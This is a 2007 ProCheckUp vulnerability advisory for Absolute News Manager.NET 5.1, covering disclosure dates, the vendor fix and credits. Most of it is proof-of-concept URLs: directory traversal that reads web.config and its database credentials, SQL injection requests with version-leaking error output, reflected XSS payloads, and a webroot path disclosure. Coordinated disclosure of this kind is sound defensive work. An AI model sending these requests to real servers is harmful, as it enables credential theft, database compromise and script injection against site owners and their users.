PR07-39: Multiple vulnerabilities on Absolute News Manager.NET 5.1 including 
file retrieval and SQL injection


Vulnerabilities found: 16 November 2007


Vendor informed: 19 November 2007


Vulnerability fixed: 28 November 2007


Severity: High


Description: 


Multiple vulnerabilities were found on Absolute News Manager.NET 5.1:


- unauthenticated file retrieval (directory traversal) on '/pages/default.aspx'


- unauthenticated SQL injection on 'xlaabsolutenm.aspx' and possibly 
'/pages/default.aspx'


- XSS on 'xlaabsolutenm.aspx' and '/pages/default.aspx'


- webroot disclosure on 'getpath.aspx'



File retrieval PoC:


The following URL shows the contents of .NET 'web.config' (contains DB 
credentials):

http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=1&template=../web.config


The following URL show contents of the vulnerable script:

http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=1&template=default.aspx%00


Note: in order to obtain the content of '.aspx' files, a null byte '%00' must 
be added after the filename.


Show content of other scripts:


http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../anmviewer.ascx%00

http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../default.aspx%00

http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../PPL1HistoryTicker.aspx%00

http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../xlagc.ascx%00

http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../xlaabsolutenm.aspx%00

http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../streamconfig.aspx%00

http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../incSystem.aspx%00

http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../articlefiles/r.asp%00

http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../incSystem.aspx%00



SQL injection PoCs:


Vulnerable script: /[CustomerDefinedDir]/xlaabsolutenm.aspx

Vulnerable parameters: z, pz, ord, sort 


Requesting the following URL returns the version of Windows and SQL server:


http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=@@version&pz=9&featured=n&ord=desc&sort=posted&rmore=-&;


System.Data.SqlClient.SqlException: Conversion failed when converting the 
nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)

Feb  9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Standard 
Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int.


Other URLs:


http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=10&ord=asc&sort=headline'INJECTED_PAYLOAD&rmore=-&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=10&ord=asc'INJECTED_PAYLOAD&sort=headline&rmore=-&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=10'INJECTED_PAYLOAD&ord=asc&sort=headline&rmore=-&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=15'INJECTED_PAYLOAD&ss=y&size=1.1em&target=iframe&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4&pz=21&ord=asc&sort=headline'INJECTED_PAYLOAD&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4&pz=21&ord=asc'INJECTED_PAYLOAD&sort=headline&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4&pz=21'INJECTED_PAYLOAD&ord=asc&sort=headline&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4'INJECTED_PAYLOAD&pz=21&ord=asc&sort=headline&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&ord=desc&sort=posted'INJECTED_PAYLOAD&featured=n&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&ord=desc'INJECTED_PAYLOAD&sort=posted&featured=n&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=8'INJECTED_PAYLOAD&featured=only&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=9&featured=n&ord=desc&sort=posted'INJECTED_PAYLOAD&rmore=-&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=9&featured=n&ord=desc'INJECTED_PAYLOAD&sort=posted&rmore=-&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=9'INJECTED_PAYLOAD&featured=n&ord=desc&sort=posted&rmore=-&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6'INJECTED_PAYLOAD&ord=desc&sort=posted&featured=n&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6'INJECTED_PAYLOAD&pz=8&featured=only&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6'INJECTED_PAYLOAD&pz=9&featured=n&ord=desc&sort=posted&rmore=-&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=7&ord=desc&sort=posted'INJECTED_PAYLOAD&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=7&ord=desc'INJECTED_PAYLOAD&sort=posted&

http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=7'INJECTED_PAYLOAD&ord=desc&sort=posted&


The script '/pages/default.aspx' might also be vulnerable to SQL injection but 
it has not been confirmed.


Requesting the following URLs:


http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=40&z=9999999999999

http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=9999999999999&z=1


return the following error:


System.Data.SqlClient.SqlException: Error converting data type nvarchar to int.



XSS PoCs:


Vulnerable script: '/xlaabsolutenm.aspx'

Unsanitized parameter: 'rmore'


http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=1,7&sort=articleID&ord=desc&rmore=%3Cscript%3Ealert(1)%3C/script%3E&size=2&h=abc&isframe=y


Vulnerable script: '/pages/default.aspx'

Unsanitized parameter: 'template'


http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=%3Cscript%3Ealert(2)%3C/script%3E


Webroot PoC:


Requesting the 'getpath.aspx' demo script discloses the physical path of the 
webroot - ie:


http://target.tld/[CustomerDefinedDir]/getpath.aspx


        "

        Absolute News Manager Physical Path :

        D:\inetpub\target.tld\[CustomerDefinedDir]\


        Please delete this file from your installation.

        "


Consequences: 


Contents of any files on the web server can be obtained. Unauthorized SQL 
queries can be injected. Scripting code can be run within the security context 
of the target domain. Information about the target environment can be extracted.


Fix:


http://www.xigla.com/security/

http://www.xigla.com/security/ANMNET51-SecurityUpdate20071128.zip


Note: ProCheckUp has NOT tested the patch provided by Xigla Software.



References: 


http://www.procheckup.com/Vulnerability_2007.php

http://www.xigla.com/absolutenmnet/



Credits: Adrian Pastor, Jan Fry and Richard Brain of ProCheckUp Ltd 
(www.procheckup.com)


ProCheckUp thanks Xigla Software for working with us.

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